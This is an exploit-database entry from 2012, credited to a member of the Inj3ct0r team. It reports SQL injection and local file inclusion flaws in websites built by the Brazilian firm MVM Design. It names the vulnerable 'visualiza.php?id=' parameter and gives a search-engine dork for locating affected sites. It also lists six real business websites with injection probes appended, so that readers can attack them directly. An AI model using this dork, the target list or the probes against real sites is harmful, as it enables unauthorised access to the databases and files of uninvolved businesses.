MVM Design suffers from local file inclusion and remote SQL injection vulnerabilities. Note that this finding houses site-specific data.
2831cdb509ed02ac6d97ebd4842a29b3134bdde3c55e51de8736ecee9de04d29
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [x] Official Website: http://www.1337day.com 0
1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1
0 0
1 ========================================== 1
0 I'm Taurus Omar Member From Inj3ct0r TEAM 1
1 ========================================== 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
| |
| MVM Design Sql Injection / Lfi Vulnerability |
--------------------------------------------------------------------------
+----------------| ABOUT ME |--------------------+
NAME: TAURUS OMAR -
LINE: INDEPENDENT SECURITY RESEARCHER -
HOME: ACCESOILEGAL.BLOGSPOT.COM -
TWITTER: @taurusomar_ -
E-MAIL: omar-taurus[at]dragonsecurity[dot]org -
E-MAIL: omar-taurus[at]live[dot]com -
PWNED: #ZUUU -
+------------------------------------------------+
# Exploit Title: MVM Design Sql Injection / Lfi Vulnerability
# Vendor Name: MVM Design
# Url Vendor: http://www.mvmdesign.com.br/
# D0rk: intext:"Desenvolvido por MVM Design"
# Category:: WebApps - 0day
# Type: php
|=|====== x0 - x0 ======|=|
http://site/visualiza.php?id= [ SQL ]
|=|====== x1 - x1 ======|=|
http://site/visualiza.php?id= [ LFI ]
|=|====== SAMPLES ======|=|
http://rlaudioevideo.com.br/visualiza.php?id=1'
http://www.twisterrodas.com.br/visualiza.php?id=1'
http://www.2twobrothers.com.br/visualiza.php?id=1'
http://www.winnerpneus.com.br/visualiza.php?id=1'
http://www.sofhillemotopecas.com.br/visualiza.php?id=1'
http://www.panicomotos.com.br/visualiza.php?id=1'
# 1337day.com [2012-09-05]